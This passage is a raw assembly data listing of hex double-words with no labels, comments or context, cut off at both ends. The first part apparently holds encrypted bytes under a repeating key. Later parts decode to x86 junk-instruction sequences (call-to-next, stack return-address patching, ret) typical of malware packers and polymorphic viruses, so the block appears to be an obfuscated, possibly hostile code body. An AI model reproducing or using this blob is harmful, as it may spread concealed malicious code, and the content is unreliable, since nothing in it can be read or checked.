0F7755574h, 0EB8224CBh dd 0DD19979Ch, 7A0E6274h, 27531CDEh, 0BB9A9E26h, 0D2199174h dd 1092F745h, 0FC43C92Eh, 301DB530h, 8B191A87h, 0EE19999Ch dd 0CE6C3374h, 868B54C8h, 5446CEF7h, 881DB530h, 884146FFh dd 0BC283CC1h, 8D19FB72h, 0EE19929Ch, 0B441B174h, 9F5D182Ch dd 0F95D1070h, 0EE198970h, 0B449D174h, 0B10E68B3h, 1CAC189Fh dd 631F967Bh, 7D628EF1h, 0EA19FB72h, 0DD19929Ch, 2D40B174h dd 5355182Dh, 9F5D1070h, 0DD198570h, 2D48D074h, 8198F742h dd 6BE69843h, 0D0EC2CFDh, 2E9A9773h, 2519FB50h, 0BB19929Ch dd 1E43B174h, 0CA4D182Eh, 535D1070h, 0BB198670h, 1E4BD374h dd 3097B44Ah, 6A1814FDh, 0BB739773h, 0DD1A7922h, 0B0399174h dd 390CFB7h, 0FF989550h, 0DD0F9550h, 0B85F9174h, 0ABCA22B7h dd 0B73814FFh, 68A69773h, 651EAC1Fh, 7028F8E9h, 7A98F772h dd 0B75AF2F6h, 0EDF1C774h, 57199174h, 3247522Ah, 5C1DB500h dd 0FA1DB530h, 31199174h, 0DD6E5222h, 40905EFFh, 0E81E8171h dd 77738AFFh, 0BB1A7922h, 83399174h, 9A90CFB7h, 33989550h dd 0BB059550h, 8B5F9174h, 36CF91B7h, 4787C469h, 0E920A96h dd 0DB1EBCF5h, 6B908AFFh, 711E84E9h, 0BB738AFFh, 0DD1A7922h dd 0B0399174h, 390CFB7h, 0FF989550h, 0DD009550h, 0B85F9174h dd 64DC8EB7h, 52BE0E74h, 0DD199165h, 0CFF42DD5h, 26575665h dd 876976ABh, 3FAF0F97h, 84C1A2C5h, 74F1C174h, 9B199174h dd 5441522Ch, 6F1DB530h, 6A1DB530h, 0FB199174h, 93525224h dd 2D0437F9h, 24E126C8h, 0BB19999Ch, 507C1D74h, 0D743433Fh dd 75949EAEh, 0DB199174h, 4090CB15h, 0E81E8F01h, 0F2DF61FFh dd 0BD1EBD71h, 8F19FB33h, 0EE19929Ch, 0B443B174h, 9F4D182Eh dd 0F95D1070h, 0EE198470h, 0B44BD374h, 29717AB5h, 0D2B5D670h dd 0EE1993F9h, 0F69B2474h, 6222B540h, 0DD738AEDh, 0EE1A7926h dd 2D399174h, 0EF90CBB7h, 99989550h, 0EE0D9550h, 255B9174h dd 4165CB7h, 0DD10788Fh, 9F229174h, 35D4B2C2h, 44D9DFA0h dd 0DA283CC1h, 0B7ACB272h, 0FA1F967Dh, 0B1628EF1h, 0DD157872h dd 119E9174h, 0AB04D8F5h, 492AB228h, 0DE6E9F2h, 64F911Eh dd 77199177h, 0E5DACF54h, 0D93DE5FDh, 0EA3DD5F5h, 77199163h dd 5DDAC732h, 6CAE0B44h, 939C18E9h, 1D1F9662h, 0B8F1C774h dd 0FD199174h, 6747522Ah, 0F61DB500h, 0A71DB530h, 9B199174h dd 0B6065222h, 88743499h, 30B45163h, 0DA1B08E1h, 0E148D172h dd 0FC465FCBh, 0EC19FB74h, 0DD19929Ch, 2D46B174h, 5365182Bh dd 9F5D1070h, 0DD198B70h, 2D4ED674h, 1492A5F7h, 1365A5Dh dd 0AF5E6B92h, 0EE7391FFh, 771A7925h, 0E2399174h, 9190C8B7h dd 0AA989550h, 77019550h, 0EA589174h, 7996C0B7h, 7B90D65Ch dd 711E908Dh, 0B9D414FDh, 50909773h, 0E81E98A9h, 7718819Dh dd 0ED19FB74h, 0DD19929Ch, 2D47B174h, 536D182Ah, 9F5D1070h dd 0DD198870h, 2D4FD774h, 4C9D5532h, 3079F185h, 0DA3FF0E1h dd 0DB84B872h, 161F9663h, 0DDD12E7Bh, 589469FFh, 0E81337B3h dd 9F4B911Eh, 0BB199177h, 87DACB54h, 0EA3DC5FDh, 733DD5F5h dd 0BB199163h, 52DAC336h, 88170792h, 0E7337ACAh, 87A87BCDh dd 0D1F0C120h, 1F199174h, 30CFB8B0h, 0EB359C7Bh, 4D82418Bh dd 11E22E7Bh, 700960E1h, 329C9872h, 341F9672h, 0EE19917Dh dd 0BFF1D4C0h, 3D8B359Dh, 10841C6Ch, 651F9BD2h, 701850F9h dd 0EB490272h, 0FCF318CAh, 0BF8ACF3Eh, 52C42CFDh, 0EB479773h dd 0B73D95FDh, 0EDF1C474h, 57199174h, 32445229h, 5C1DB518h dd 0F41DB530h, 32199174h, 6B0C5221h, 0AA380AA5h, 0EBA4182Bh dd 881F967Fh, 0BC1270E1h, 8C19FB72h, 0EE19929Ch, 0B440B174h dd 9F55182Dh, 0F95D1070h, 0EE198670h, 0B448D074h, 0F238E46Eh dd 0DA142C47h, 6B909773h, 711E8C75h, 0BE9C578Ch, 8E1F9658h dd 648911Eh, 77199177h, 0E2DAC854h, 0D93DDDFDh, 0EA3DD5F5h dd 77199162h, 0BFDAC035h, 482ADDDFh, 0E81E8E39h, 0F9F01F1Ch dd 9F2D10C6h, 0C510FC85h, 64F911Eh, 77199177h, 0E5DACF54h dd 0D93DE5FDh, 0EA3DD5F5h, 7719916Dh, 12DAC732h, 4B2CF138h dd 43AC6EA7h, 0F61F9645h, 319843B5h, 0C29C1C54h, 841F9B0Fh dd 74F1C174h, 9B199174h, 5441522Ch, 6F1DB530h, 611DB530h dd 0FB199174h, 19855224h, 0D7AC181Eh, 881F9667h, 59D010A4h dd 546A9F8Bh, 0E90368F1h, 2719FB72h, 0BB19929Ch, 1E41B174h dd 0CA5D182Ch, 535D1070h, 0BB198C70h, 1E49D174h, 83E9AD1Bh dd 3614D328h, 3EDF7A52h, 0DB1EBD71h, 839C1833h, 1F1F9672h dd 89176117h, 38A62CCBh, 0CA1D104Bh, 187AB459h, 0B2782CFFh dd 68E69773h, 0E81EA0D9h, 9F4B911Eh, 0BB199177h, 87DACB54h dd 0EA3DC5FDh, 733DD5F5h, 0BB19916Ch, 0F1DAC336h, 60943709h dd 528C1A14h, 3B1F9644h, 5078A8A8h, 0E4628EF1h, 77117872h dd 66C79174h, 506BF041h, 3EE6FED6h, 9F4B911Eh, 0BB199177h dd 87DACB54h, 0EA3DC5FDh, 733DD5F5h, 0BB199168h, 0BDAC336h dd 2364AC28h, 8AE5E918h, 0DFC81012h, 589490A4h, 671F9656h dd 7003C4F1h, 7598F772h, 58DF8126h, 0E81EBD71h, 0BE949827h dd 531F9665h, 0DD199170h, 7720CEE4h, 771C117Bh, 9BA09174h dd 8D4DF63Dh, 0EE199B9Dh, 5590A474h, 0B3BE6730h, 56403910h dd 511DB530h, 694DFB6Ch, 0A4891FFh, 9990CB04h, 25929550h dd 2219FB2Ch, 0BB19929Ch, 1E44B174h, 0CA751829h, 535D1070h dd 0BB198B70h, 1E4CD474h, 75DE4575h, 8810DFFBh, 0BC283CC1h dd 8F19FB72h, 0EE19929Ch, 0B443B174h, 9F4D182Eh, 0F95D1070h dd 0EE198570h, 0B44BD374h, 0A49C1CA8h, 541F9B0Fh, 0E92BACF1h dd 9FC96E72h, 0BB199171h, 0CE154ABAh, 3F98F74Dh, 0FE40746Ch dd 0BC192CF1h, 8819FB72h, 0EE19929Ch, 0B444B174h, 9F751829h dd 0F95D1070h, 0EE198470h, 0B44CD474h, 0A9F164BFh, 77199174h dd 5C535508h, 14DB05BBh, 0C24670E2h, 36E9BBFAh, 0EC2A28E5h dd 0B143DB2Ah, 0BC3594F1h, 6090C672h, 0E81E8F29h, 7719959Ch dd 0BF4B9774h, 5316F1E4h dd 0EE199177h, 0C5EB1A12h, 5349F08Dh, 0DD199179h, 0DAFA047h dd 0E9F3876Ch, 62B3394Bh, 0DD15783Ch, 3FCC9174h, 0B6145312h dd 0E7B95D83h, 564642B3h, 881DB530h, 779263FFh, 11FFC3CEh dd 0F95D1864h, 779C070h, 7719917Ah, 3034D911h, 0AE4921EEh dd 992DCEF2h, 0F016028Ch, 0BB199174h, 0D241C815h, 5BE66FCBh dd 711EA0D9h, 3DCE1012h, 0C29C1C5Eh, 841F9B0Fh, 74F1C674h dd 9B199174h, 5446522Bh, 6F1DB508h, 6A1DB530h, 0FC199174h dd 73725223h, 2BB71764h, 0D50CA988h, 0BB73418Bh, 0DD1A7922h dd 0B0399174h, 390CFB7h, 0FF989550h, 0DD0C9550h, 0B85F9174h dd 0FC83A0B7h, 0BC0B10E1h, 74A41872h, 671F9660h, 700358F1h dd 57FF172h, 4028E7CFh, 0E81E9A0Dh, 729C5715h, 0F81F9658h dd 354A911Eh, 0EE199177h, 2CDACA54h, 0BF3DCDFDh, 0D93DD5F5h dd 0EE199162h, 0C1DAC237h, 2E926DFCh, 0DB1EBDE1h, 7AE7C81Ch dd 8492F7F9h, 743D95F5h, 54376A05h, 0E909C4E1h, 0DAAC6E72h dd 0D11F9645h, 0DEF1C274h, 0CE199174h, 0FE42522Fh, 3A1DB528h dd 0C01DB530h, 0AD199174h, 8E155227h, 0E70E7AAAh, 354F0058h dd 0EE19949Dh, 0A32B5E74h, 3E94A70Ah, 0DB13EA6Bh, 0F0B81C5Dh dd 0A7E69773h, 10C81012h, 0A49C1868h, 841F9667h, 74F1C474h dd 9B199174h, 54445229h, 6F1DB518h, 6B1DB530h, 0FE199174h dd 0E8E95221h, 2C6F9652h, 8B51FD09h, 0BA1824FFh, 58949773h dd 0E81337C9h, 9F4B911Eh, 0BB199177h, 87DACB54h, 0EA3DC5FDh dd 733DD5F5h, 0BB199161h, 53DAC336h, 6FAC1A0Ch, 0E71F9661h dd 9A332F12h, 574BC124h, 0B8289E80h, 2D46CF22h, 0BB73012Ch dd 0DD1A7922h, 0B0399174h, 390CFB7h, 0FF989550h, 0DD0D9550h dd 0B85F9174h, 9299F7B7h, 0BB1578E9h, 8D4C9174h, 1167BEDAh dd 7176464Ah, 2EE64299h, 0DB1E8185h, 0C6CC0475h, 0FE169773h dd 0BB199172h, 0AB9370F5h, 3692D5B6h, 9EEB1A12h, 0BB199167h dd 0FAD39432h, 394A2A4Bh, 24380E5Eh, 38A3DA61h, 50DB712Eh dd 0E4BF20F1h, 2119FB72h, 0BB19929Ch, 1E47B174h, 0CA6D182Ah dd 535D1070h, 0BB198C70h, 1E4FD774h, 2934FD04h, 461F5AAEh dd 3249A947h, 0DD73B570h, 0EE1A7927h, 2C399174h, 0E790CAB7h dd 99989550h, 0EE039550h, 245A9174h, 14422FB7h, 9E49B166h dd 0DE7C1CFFh, 118A9773h, 0EBE2C2CEh, 4B0D79CBh, 0EE730227h dd 771A7923h, 0E4399174h, 0A190CEB7h, 0AA989550h, 770C9550h dd 0EC5E9174h, 562F73B7h, 0E92808C1h, 968C6E72h, 0D11F967Fh dd 0DEF1C474h, 0CE199174h, 0FE445229h, 3A1DB518h, 0C51DB530h dd 0AB199174h, 96605221h, 0B415B7ECh, 0DD199DF4h, 0E89C9E74h dd 0F6199174h, 1D9780AAh, 8C9C184Fh, 841F9667h, 74F1C374h dd 9B199174h, 5443522Eh, 6F1DB520h, 631DB530h, 0F9199174h dd 1A3D5226h, 0E93584F1h, 77199E72h, 0F0F81074h, 222C9F3Fh dd 0E90AC0E1h, 0FE849872h, 321F9670h, 0DA041CF1h, 0B919FB72h dd 7719929Ch, 7846B174h, 0F965182Bh, 0CA5D1070h, 77198D70h dd 784ED674h, 0A1C99BAEh, 404E14DEh, 5AC31030h, 3055CC3Eh dd 0DA34B4F1h, 0DD841C72h, 0FE1F9BCDh, 6949037h, 0DB1EBFC9h dd 571424F9h, 44A0977Eh, 48199174h, 652A7AD0h, 0EE199174h dd 746D517Fh, 301989B6h, 8E15B530h, 0EE19919Ch, 0B498CA74h dd 0BB199163h, 0CD3DCDFDh, 0FA3DD5FDh, 0D72E292Fh, 5BE691E8h dd 0D93DD5FFh, 5392718Bh, 711EBC35h, 5349911Eh, 0DD199177h dd 0B6DAC954h, 733DD5FDh, 0BF3DD5F5h, 0DD19916Fh, 44DAC134h dd 0E0ECF0DAh, 0B47935B3h, 0DD1997FAh, 3FACBA74h, 0FE1F967Ch dd 0BC1EB0C1h, 0DD73F072h, 0EE1A7925h, 2E399174h, 0F790C8B7h dd 99989550h, 0EE0C9550h, 26589174h, 1C868B7h, 0FB0C1FE2h dd 48A82CF9h, 0FA94977Eh, 0BD1328CEh, 0FBB2A4CCh, 239CA2ECh dd 5C1F966Bh, 14F050BBh, 9C8B19FBh, 74EE1992h, 2AB447B1h dd 709F6D18h, 70F95D10h, 74EE198Ah, 0F305E983h, 6AD98BA4h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h dd 40000000h, 0BD5CC350h, 71E90Fh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 6424CCC3h dd 84D87714h, 6A610Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 0E9BA19C3h, 8, 96B0301Ch, 0FCC79F60h dd 840FFCC3h, 1Bh, 0FE960h, 6D40000h, 0B98AC34h, 7FE40B16h dd 7CC35D77h, 0E681662Fh, 8B61555Dh, 11E9C0h, 767C0000h dd 0B63A1259h, 19A2DFE6h, 0A2F2378Dh, 0F8317A2Eh, 0FF5BD83h dd 75000607h, 1BD8309h, 60730h, 53501974h, 0B9B8C08Bh dd 89000004h, 7265D85h, 0E9D8D06h, 0FF0609ADh, 83585BD3h dd 73001BDh, 17740006h, 0B9B85350h, 89000004h, 7265D85h dd 0AF9D8D06h, 0FF0609A9h, 0E9585BD3h, 0Dh, 7202708Dh dd 0A248F4D0h, 627FBDCh, 0FFBF6055h, 0F8143D55h, 0E9C08B61h dd 13h, 45AD0091h, 0B0370BB7h, 0F4CDF5F7h, 80D10757h, 407F933Ch dd 6AC18Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h dd 50400000h, 4409AC3h, 0D3450185h, 0A1BD334Eh, 0BE060713h dd 25CBB53Eh, 4EBh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 0D4AAE5C3h, 68D51C96h dd 1AE9BD89h, 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 8D55A5C3h, 7078585h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 0DEE9823Bh, 0B58B149Bh, 607321Dh, 17810F90h, 0E8000000h dd 11h, 0F24B6D79h, 43B9E26Eh, 6FC0C9CBh, 0B615E489h, 60505F6Fh dd 0C68B6660h, 4E5045BEh, 8D0F6134h, 13h, 0DE8h, 9CDEB000h dd 6F7DD7CCh, 97FBECECh, 6158AF7Dh, 1823BE90h, 6A5CE3h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0BCC35646h dd 3CBFF922h, 6A5367D2h, 0EF816600h, 858DADFFh, 60ABD02h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0EFC35242h dd 0E74FB926h, 68E0Fh, 9D290000h, 6071E99h, 0DEB70F60h dd 5C08361h, 0C20CEF81h, 509034B6h, 48E0Fh, 0BF660000h dd 6A90874Bh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1C042444h, 42000000h, 0D774C352h, 9BA46055h, 8BE8C68Ah dd 70481BDh, 8B006A06h, 0FF006AFEh, 704C195h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 0A9B52387h, 8D060720h, 0AA64F9Dh, 0FABF0F06h, 6AD3FFh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 850901C3h, 6073165h, 32F185FFh, 85290607h, 60707BDh dd 6C3E9h, 0E800h, 815D0000h, 0ABD0CEDh, 53006A06h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 0E6E444C8h, 9C02C26Dh, 5E9E2B0h, 0BC000000h, 0FEB9C752h dd 2C15BD81h, 7D00607h, 860F0000h, 154h, 0C78B6660h, 24998D89h dd 8B610607h, 710B99Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1D04h, 0C3574700h, 0FF123CF1h, 0CBD5D162h dd 0B50BB1CBh, 6071E1Dh dd 100E381h, 0BD8B0000h, 6070471h, 2C8D9531h, 0DB0B0607h dd 8D850Fh, 0BD830000h, 60ABB38h, 3C840F00h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h dd 40000000h, 34B3C350h, 868B697Bh, 18D86B27h, 8F0Fh, 8BE90000h dd 0F000000h, 68Eh, 0A0D78100h, 0C775ACE0h, 0ABB3885h dd 106h, 0C564BE00h, 6BE92253h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0E336C356h dd 0E9664898h, 0Bh, 78802DC7h, 0D3233C30h, 0C71A358Ch dd 0ABB3885h, 6, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1B04h, 0C3514100h, 81CE76EBh, 831CE48Ah dd 0DDB589h, 0F98B0607h, 2549B58Bh, 9D8D0607h, 60710B9h dd 8843C781h, 2381709Dh, 0FFFFFEFFh, 10E8h, 0F92E1300h dd 0CCDB8E98h, 0FA91E844h, 417B8CF9h, 0FD8D3184h, 5E060706h dd 31BD8B50h, 5E06070Eh, 6ADB8C66h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 0D9FCC350h dd 0F681665Ah, 0C3F633C3h, 6C840F04h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 9760C356h, 37A68788h, 0A5B58BE5h, 0FF060724h, 7135195h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 3788A776h, 0A769BF87h, 0F7B70F05h, 8880F90h dd 0F000000h, 284h, 50616000h, 6690F28Bh, 0E929C4BEh, 33Ch dd 0C99B58Bh, 0B00607h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 17h, 62C35545h, 661F62B5h, 70E6FB8Bh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 95C35141h, 64014208h dd 9868AE53h, 0A98D89D7h, 0E4060720h, 52006A71h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 0A1C94AE5h, 8B741C27h, 71DD9BDh, 0FF28B06h, 6AD8B6h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 0EEB6B2C3h, 453DB40Ch, 89512F07h, 70C899Dh, 6BA06h dd 8B660000h, 0BFC38BF1h, 2590F0AAh, 2AABF66h, 6A04E8C1h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h, 9D73C356h, 89E2F766h, 70E4D95h, 93D82B06h dd 4850F50h, 66000000h, 93D100BEh, 2C59BD89h, 0B5FF0607h dd 6072C15h, 59D18060h, 12F1B58Bh, 0FF610607h, 716B595h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 3DCC4215h, 1EEEB8EDh, 12E985h, 4B960000h dd 0DF82C94Dh, 59EE4D2Eh, 0C5152DDAh, 0E7F68451h, 88BE00B0h dd 0E616FCDDh, 57006A70h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1904h, 0C3574700h, 0D3A5B3D6h, 0BD23E8AEh dd 6070341h, 8B6671E4h, 0F613CFEh, 1AB83h, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 8B0607F6h, 71B95BDh, 0D8B60F06h, 3209BD89h, 6BA0607h dd 23000000h, 712F9B5h, 89C38B06h, 72E71BDh, 6890F06h dd 89000000h, 71AADBDh, 4E8C106h, 4FD4BE66h, 81E2F766h dd 622C43DEh, 6AD82B6Ch, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 0B104C350h, 0F28B6692h dd 59BD8B58h, 2B060722h, 1D880FD8h, 6A000001h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h dd 0B67BC351h, 82EAC245h, 7B9h, 59B52300h, 8306071Bh, 0B52B00C1h dd 6071CD5h, 860FD93Bh, 0E0h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ch, 1CC35242h, 7025E0F3h, 39AFA8EAh dd 6AD98C66h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 159C357h, 3A39FAD1h, 81F9BF0Fh dd 1F130EFh, 4C1F623h, 80840Fh, 0BD890000h, 60702ADh, 135195FFh dd 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 9CB5BCC3h, 0F1D01EDh, 0BF5BF9B7h, 1EEDBCD2h dd 5EFAEF81h, 0C32B1074h, 3199529h, 343D0607h, 0F000008h dd 3186h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1B04h, 0C3564600h, 33BCDFE0h, 28CBD455h, 2599BD23h dd 9E90607h, 0F000000h, 0C08BF0BFh, 264FBE66h, 0D88BC38Bh dd 15C185C7h, 45390607h, 6A3281h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 0EE9B9C3h, 57000000h dd 39FC54C2h, 52A0A2A4h, 6E473FA3h, 6AC08BDDh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 0A465C352h, 0BD81390Eh, 6072C15h, 7D0h, 36850Fh, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 0ACF015C3h, 1AF25F14h, 958939C2h, 60712F9h, 2C1585FFh dd 0BD230607h, 6072785h, 2C15B5FFh, 6A0607h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 21CA87C3h dd 93693310h, 9E63BE66h, 16B595FFh, 6A0607h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 2B385C3h dd 272884E3h, 14E8796Dh, 7C000000h, 2C153A0Bh, 691097B8h dd 0F5AC3F82h, 313A1FF4h, 895E511Fh, 70121BDh, 0CE95F06h dd 0FE000000h, 75A97205h, 7818E57Eh, 909FC798h, 345678B8h dd 38A0F12h, 0F000000h, 9D8DF8BFh, 60AC3AEh, 0FFF940E9h dd 0F88B66FFh, 830FC18Bh, 6, 27B5BD89h, 4EB0607h, 0 dd 6AFA8B66h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 0E344C352h, 0F6A95526h, 858D9532h dd 6070785h, 2E25BD8Bh, 50900607h, 0B420BF66h, 53006A90h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 6C6C81D8h, 8773FFA9h, 0E9006A6Bh, 13h, 0DEEC218Eh, 1F952C20h dd 0C4810095h, 9FBF4DB9h, 6A2A726Ch, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 1FC306BDh dd 6D1F5F3h, 0FE87F6Fh, 0C6000000h, 0A8FCD598h, 579A50A1h dd 351B635Dh, 8B0F6D5Fh, 3, 5FF8BF0Fh, 0C57F858Dh, 5E53060Ah dd 0F05C083h, 68Dh, 3AD78100h, 502CDBC4h, 57CB8B60h, 489615Eh dd 8D896024h, 607326Dh, 61D88B66h, 6A006Ah, 3E850h, 58200000h dd 448958C3h, 44810424h, 1C0424h, 50400000h, 3F2445C3h dd 0B19E241Eh, 0BD89C364h, 6071BF9h, 10AEC681h, 0B589761Ch dd 6070361h, 0B58B006Ah, 60715A5h, 810Fh, 95FF0000h, 60704C1h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0B6C35343h dd 0B4F73941h, 0D59D89FEh, 66060732h, 7F90E681h, 0A64F9D8Dh dd 8E0F060Ah, 8, 0D5BD8B53h, 5E06072Fh, 6AD3FFh, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 0DACA66C3h, 0FC2BBF0h, 85FFF6B7h, 60732F1h, 0E01E9F8h dd 0E80000h, 5D000000h, 0C589ED81h, 6A060Ah, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 0A3F4F9C3h dd 0EED422B9h, 2C15BD81h, 7D00607h, 860F0000h, 12Bh, 0C880Fh dd 8C0F0000h, 6, 20E1E681h, 9D8B41E2h, 6070DC5h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 6BC35747h, 9447E507h dd 9685039Ah, 81F2B70Fh, 100E3h, 8A0F00h, 0B000000h, 8E850FDBh dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 89CAC357h, 72A9DB5h, 91BD8906h dd 83060720h, 0AC3DABDh, 840F0006h, 35h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 17h, 0EAC35545h, 315661F1h dd 72589B5h, 5EE906h, 81660000h, 810BAAE6h, 8A8081C7h dd 0DA85C767h, 1060AC3h, 57000000h, 8E9h, 0EC918200h, 28D55C2Eh dd 35E95FCEh, 89000000h, 701E995h, 0DA85C706h, 60AC3h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h, 46000000h, 0C8AEC356h, 0BD8B18FFh, 6072E19h dd 0DC59D8Dh, 0B70F0607h, 0FF2381F6h, 0FFFFFFEh, 680h dd 0E0C78100h, 66003F0Fh, 6ADB8Ch, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 170424h, 57470000h, 2586A9C3h, 0B795BFC6h dd 0F7814498h, 6344A2E5h, 0F04C3F6h, 0B384h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 0B5952948h, 0FF060710h, 7135195h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 11B67F1Dh dd 89E7DC0Eh, 71EBDB5h, 9E906h, 59ED0000h, 5D5DA15Fh, 50E7D4E1h dd 12E8h, 63ACCD00h, 8350E0D8h, 0A1A9E6E8h, 0B257F987h dd 0E867AD7Ah, 8, 0A59A0E27h, 7D94A094h, 5E5E6160h, 6A240489h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 59B6C356h, 5E970D2h, 6000000h, 6AEAFA58h dd 3BFE9h, 0A9BD8B00h, 0B0060726h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 0F39B5B8Ah dd 4DB589B1h, 2906072Dh, 71CA5B5h, 6A70E606h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h dd 442AC353h, 0CC0A4E3Eh, 0E455B045h, 50006A71h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 0F91F092Ah, 12DD9D31h, 0B60F0607h, 0ADB58BD8h, 0BA06070Bh dd 6, 0BE59D01h, 0C38B0607h, 0E1958956h, 5E06072Dh, 6A04E8C1h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 4B80C355h, 0C4DE8187h, 8B79C1ADh, 70E39BDh dd 0E2F76606h, 361BD8Bh, 0D82B0607h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 18h, 43C35646h, 21409D3Ah, 93F38B66h dd 8B665250h, 50310FF8h, 5A5E5E53h, 0D5BE5058h, 93194E92h dd 6870Fh, 0BD8B0000h, 6071355h, 2C15B5FFh, 0B58B0607h dd 6072695h, 16B595FFh, 0BE660607h, 0B0E1CEh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0BEC35747h, 8099DD5Ah dd 0F5D7F634h, 6A70E6h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 64BF1C3h, 6A71E4h, 3E850h, 58200000h dd 448958C3h, 44810424h, 170424h, 50400000h, 0A9C828C3h dd 35858903h, 3C06071Eh, 19830F61h, 89000002h, 72D7195h dd 0D8B60F06h, 1A7D8D89h, 8A0F0607h, 6, 1A6DB58Bh, 6BA0607h dd 50000000h, 10B5B58Bh, 8B5F0607h, 55006AC3h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 4CB0E651h dd 0E8C19EF9h, 50006A04h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 8ECD974Bh, 66FE8B36h dd 6AE2F7h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h dd 50400000h, 8953F7C3h, 72569BDh, 0BE665F06h, 0D82BC530h dd 0EE8h, 0D5F3FF00h, 72601325h, 0DCB955F6h, 0B281B98h dd 721F5BDh, 6A585E06h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 16042444h, 45000000h, 5E07C355h, 0FD82B9Bh dd 13B88h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1C04h, 0C3534300h, 72EF93Ch, 0B7E8BA0Eh, 959509B4h dd 66060706h, 0BC681h, 7B9h, 6820F00h, 8B000000h, 71269B5h dd 0C18306h, 9E8h, 88B99900h, 46BB64E9h, 816687C8h, 5FF102DFh dd 860FD93Bh, 0DCh, 0F5BD8956h, 5F06070Ah, 0E9D98C66h dd 6, 325BC362h, 0F18B8908h, 0F04C1F6h, 0A284h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 71958917h, 0FF06072Eh, 7135195h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 2ECDB777h dd 